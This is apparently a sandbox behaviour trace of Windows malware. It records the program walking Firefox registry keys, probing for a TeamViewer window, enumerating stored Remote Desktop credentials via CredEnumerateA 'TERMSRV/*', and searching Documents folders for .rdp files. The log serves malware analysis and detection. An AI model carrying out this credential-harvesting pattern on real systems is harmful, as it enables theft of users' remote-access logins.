RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", phkResult=0x21fa28 | out: phkResult=0x21fa28*=0x1f0) returned 0x0 [0056.993] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x2e19c0, lpcchName=0x21fa20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Main", lpcchName=0x21fa20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.993] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0056.993] lstrlenA (lpString="\\") returned 1 [0056.993] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x2fc580 [0056.993] lstrcpyA (in: lpString1=0x2fc580, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0056.993] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0056.993] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0056.993] lstrlenA (lpString="Main") returned 4 [0056.993] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x2d2ef8 [0056.993] lstrcpyA (in: lpString1=0x2d2ef8, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0056.993] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Main" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main" [0056.993] LocalFree (hMem=0x2fc580) returned 0x0 [0056.993] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", lpSrch="Thunderbird") returned 0x0 [0056.993] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2e2248 [0056.993] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", phkResult=0x21f9e0 | out: phkResult=0x21f9e0*=0x1f4) returned 0x0 [0056.993] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x0, lpName=0x2e2248, lpcchName=0x21f9d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x21f9d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.993] RegCloseKey (hKey=0x1f4) returned 0x0 [0056.993] LocalFree (hMem=0x2e2248) returned 0x0 [0056.993] LocalFree (hMem=0x2d2ef8) returned 0x0 [0056.993] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x1, lpName=0x2e19c0, lpcchName=0x21fa20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0x21fa20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.993] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0056.993] lstrlenA (lpString="\\") returned 1 [0056.993] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x2fc580 [0056.993] lstrcpyA (in: lpString1=0x2fc580, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0056.993] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0056.993] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0056.993] lstrlenA (lpString="Uninstall") returned 9 [0056.993] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x2d2ef8 [0056.993] lstrcpyA (in: lpString1=0x2d2ef8, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0056.993] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Uninstall" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall" [0056.993] LocalFree (hMem=0x2fc580) returned 0x0 [0056.993] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", lpSrch="Thunderbird") returned 0x0 [0056.994] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2e2248 [0056.994] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", phkResult=0x21f9e0 | out: phkResult=0x21f9e0*=0x1f4) returned 0x0 [0056.994] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x0, lpName=0x2e2248, lpcchName=0x21f9d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x21f9d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.994] RegCloseKey (hKey=0x1f4) returned 0x0 [0056.994] LocalFree (hMem=0x2e2248) returned 0x0 [0056.994] LocalFree (hMem=0x2d2ef8) returned 0x0 [0056.994] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x2, lpName=0x2e19c0, lpcchName=0x21fa20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0x21fa20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.994] RegCloseKey (hKey=0x1f0) returned 0x0 [0056.994] LocalFree (hMem=0x2e19c0) returned 0x0 [0056.994] LocalFree (hMem=0x2fc4c8) returned 0x0 [0056.994] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x1, lpName=0x2edb78, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.994] RegCloseKey (hKey=0x1ec) returned 0x0 [0056.994] LocalFree (hMem=0x2edb78) returned 0x0 [0056.994] LocalFree (hMem=0x2f95f8) returned 0x0 [0056.994] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0x2, lpName=0x2ec3a0, lpcchName=0x21fab0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x21fab0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.994] lstrlenA (lpString="Software\\Mozilla") returned 16 [0056.994] lstrlenA (lpString="\\") returned 1 [0056.994] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x2e66f8 [0056.994] lstrcpyA (in: lpString1=0x2e66f8, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0056.994] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0056.994] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0056.994] lstrlenA (lpString="Mozilla Firefox 25.0") returned 20 [0056.994] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x2f95f8 [0056.994] lstrcpyA (in: lpString1=0x2f95f8, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0056.994] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0056.994] LocalFree (hMem=0x2e66f8) returned 0x0 [0056.994] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0", lpSrch="Thunderbird") returned 0x0 [0056.994] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2edb78 [0056.994] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", phkResult=0x21fa70 | out: phkResult=0x21fa70*=0x1ec) returned 0x0 [0056.994] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x0, lpName=0x2edb78, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="bin", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.994] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0056.994] lstrlenA (lpString="\\") returned 1 [0056.994] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x2f9e38 [0056.994] lstrcpyA (in: lpString1=0x2f9e38, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0056.994] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0056.995] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0056.995] lstrlenA (lpString="bin") returned 3 [0056.995] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x2fc4c8 [0056.995] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0056.995] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="bin" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\bin") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\bin" [0056.995] LocalFree (hMem=0x2f9e38) returned 0x0 [0056.995] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", lpSrch="Thunderbird") returned 0x0 [0056.995] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2e19c0 [0056.995] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", phkResult=0x21fa28 | out: phkResult=0x21fa28*=0x1f0) returned 0x0 [0056.995] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x2e19c0, lpcchName=0x21fa20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x21fa20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.995] RegCloseKey (hKey=0x1f0) returned 0x0 [0056.995] LocalFree (hMem=0x2e19c0) returned 0x0 [0056.995] LocalFree (hMem=0x2fc4c8) returned 0x0 [0056.995] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x1, lpName=0x2edb78, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.995] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0056.995] lstrlenA (lpString="\\") returned 1 [0056.995] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x2f9e38 [0056.995] lstrcpyA (in: lpString1=0x2f9e38, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0056.995] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0056.995] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0056.995] lstrlenA (lpString="extensions") returned 10 [0056.995] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x2d2ef8 [0056.995] lstrcpyA (in: lpString1=0x2d2ef8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0056.995] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="extensions" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions" [0056.995] LocalFree (hMem=0x2f9e38) returned 0x0 [0056.995] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", lpSrch="Thunderbird") returned 0x0 [0056.995] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2e19c0 [0056.995] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", phkResult=0x21fa28 | out: phkResult=0x21fa28*=0x1f0) returned 0x0 [0056.995] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x2e19c0, lpcchName=0x21fa20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x21fa20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.995] RegCloseKey (hKey=0x1f0) returned 0x0 [0056.995] LocalFree (hMem=0x2e19c0) returned 0x0 [0056.995] LocalFree (hMem=0x2d2ef8) returned 0x0 [0056.995] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x2, lpName=0x2edb78, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.995] RegCloseKey (hKey=0x1ec) returned 0x0 [0056.995] LocalFree (hMem=0x2edb78) returned 0x0 [0056.995] LocalFree (hMem=0x2f95f8) returned 0x0 [0056.995] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0x3, lpName=0x2ec3a0, lpcchName=0x21fab0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x21fab0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.995] RegCloseKey (hKey=0x1e8) returned 0x0 [0056.995] LocalFree (hMem=0x2ec3a0) returned 0x0 [0056.995] SetCurrentDirectoryA (lpPathName="C:\\Users\\aDU0VK IWA5kLS\\Desktop" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop")) returned 1 [0056.995] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.995] IStream:LockRegion (This=0x2c1a58, libOffset=0x2ad, cb=0x0, dwLockType=0x0) returned 0x0 [0056.995] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fac4) returned 0x0 [0056.995] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.995] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.995] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.996] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbc8) returned 0x0 [0056.996] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbc0) returned 0x0 [0056.996] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbdc) returned 0x0 [0056.996] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbc4) returned 0x0 [0056.996] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x2d14a8 [0056.996] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x2d13e0 [0056.996] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x2d1318 [0056.996] FindWindowExA (hWndParent=0x0, hWndChildAfter=0x0, lpszClass=0x0, lpszWindow="TeamViewer") returned 0x0 [0056.996] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.996] IStream:LockRegion (This=0x2c1a58, libOffset=0x2bd, cb=0x0, dwLockType=0x0) returned 0x0 [0056.996] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbc4) returned 0x0 [0056.996] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.996] LocalFree (hMem=0x2d14a8) returned 0x0 [0056.996] LocalFree (hMem=0x2d13e0) returned 0x0 [0056.996] LocalFree (hMem=0x2d1318) returned 0x0 [0056.996] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.996] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.996] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbd0) returned 0x0 [0056.996] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbc8) returned 0x0 [0056.996] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbe4) returned 0x0 [0056.996] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbcc) returned 0x0 [0056.996] CredEnumerateA (in: Filter="TERMSRV/*", Flags=0x0, Count=0x21fc00, Credential=0x21fbfc | out: Count=0x21fc00, Credential=0x21fbfc) returned 0 [0056.996] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x2fc320 [0056.996] SHGetFolderPathA (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x2fc320 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\Documents") returned 0x0 [0056.997] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents") returned 33 [0056.997] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents") returned 33 [0056.997] lstrlenA (lpString="\\*.*") returned 4 [0056.997] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x2f95f8 [0056.997] lstrcpyA (in: lpString1=0x2f95f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents" [0056.997] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\*.*" [0056.997] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\Documents\\*.*", lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 0x2dc8f8 [0056.997] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.997] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0056.997] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.997] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.997] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0056.997] StrStrIA (lpFirst="129DShJr6JeMp6.docx", lpSrch=".rdp") returned 0x0 [0056.997] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0056.997] StrStrIA (lpFirst="1wznGzUb8H6Td3m.docx", lpSrch=".rdp") returned 0x0 [0056.997] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0056.997] StrStrIA (lpFirst="2xS9Su94RVD1fJ8.pptx", lpSrch=".rdp") returned 0x0 [0056.997] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0056.997] StrStrIA (lpFirst="8WjgjvsnAuD.docx", lpSrch=".rdp") returned 0x0 [0056.997] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0056.997] StrStrIA (lpFirst="ct1A.pptx", lpSrch=".rdp") returned 0x0 [0056.997] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0056.997] StrStrIA (lpFirst="Database1.accdb", lpSrch=".rdp") returned 0x0 [0056.997] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0056.997] StrStrIA (lpFirst="desktop.ini", lpSrch=".rdp") returned 0x0 [0056.997] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0056.997] StrStrIA (lpFirst="h6rzILMxje9AG.odt", lpSrch=".rdp") returned 0x0 [0056.997] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0056.998] StrStrIA (lpFirst="iCg-GgfRe.docx", lpSrch=".rdp") returned 0x0 [0056.998] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0056.998] StrStrIA (lpFirst="jMBQtenVyg4L.doc", lpSrch=".rdp") returned 0x0 [0056.998] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0056.998] StrStrIA (lpFirst="kJ-2_hTsFp6B8BIg.docx", lpSrch=".rdp") returned 0x0 [0056.998] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0056.998] StrStrIA (lpFirst="kjJM-J.pptx", lpSrch=".rdp") returned 0x0 [0056.998] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0056.998] lstrcmpiA (lpString1=".", lpString2="My Music") returned -1 [0056.998] lstrcmpiA (lpString1="..", lpString2="My Music") returned -1 [0056.998] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents") returned 33 [0056.998] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents") returned 33 [0056.998] lstrlenA (lpString="\\") returned 1 [0056.998] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x2f9e38 [0056.998] lstrcpyA (in: lpString1=0x2f9e38, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents" [0056.998] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\" [0056.998] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\") returned 34 [0056.998] lstrlenA (lpString="My Music") returned 8 [0056.998] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x2fc4c8 [0056.998] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\" [0056.998] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\", lpString2="My Music" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Music") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Music" [0056.998] LocalFree (hMem=0x2f9e38) returned 0x0 [0056.998] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Music") returned 42 [0056.998] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Music") returned 42 [0056.998] lstrlenA (lpString="\\*.*") returned 4 [0056.998] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x2fc580 [0056.998] lstrcpyA (in: lpString1=0x2fc580, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Music" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Music") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Music" [0056.998] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Music\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Music\\*.*" [0056.998] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Music\\*.*", lpFindFileData=0x21f8f0 | out: lpFindFileData=0x21f8f0) returned 0xffffffff [0056.998] LocalFree (hMem=0x2fc580) returned 0x0 [0056.998] LocalFree (hMem=0x2fc4c8) returned 0x0 [0056.998] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0056.998] lstrcmpiA (lpString1=".", lpString2="My Pictures") returned -1 [0056.998] lstrcmpiA (lpString1="..", lpString2="My Pictures") returned -1 [0056.998] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents") returned 33 [0056.998] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents") returned 33 [0056.998] lstrlenA (lpString="\\") returned 1 [0056.998] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x2f9e38 [0056.998] lstrcpyA (in: lpString1=0x2f9e38, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents" [0056.998] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\" [0056.998] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\") returned 34 [0056.998] lstrlenA (lpString="My Pictures") returned 11 [0056.998] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x2fc4c8 [0056.998] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\" [0056.998] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\", lpString2="My Pictures" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Pictures") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Pictures" [0056.998] LocalFree (hMem=0x2f9e38) returned 0x0 [0056.998] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Pictures") returned 45 [0056.998] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Pictures") returned 45 [0056.998] lstrlenA (lpString="\\*.*") returned 4 [0056.998] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x2d2ef8 [0056.998] lstrcpyA (in: lpString1=0x2d2ef8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Pictures" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Pictures") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Pictures" [0056.998] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Pictures\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Pictures\\*.*" [0056.999] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My 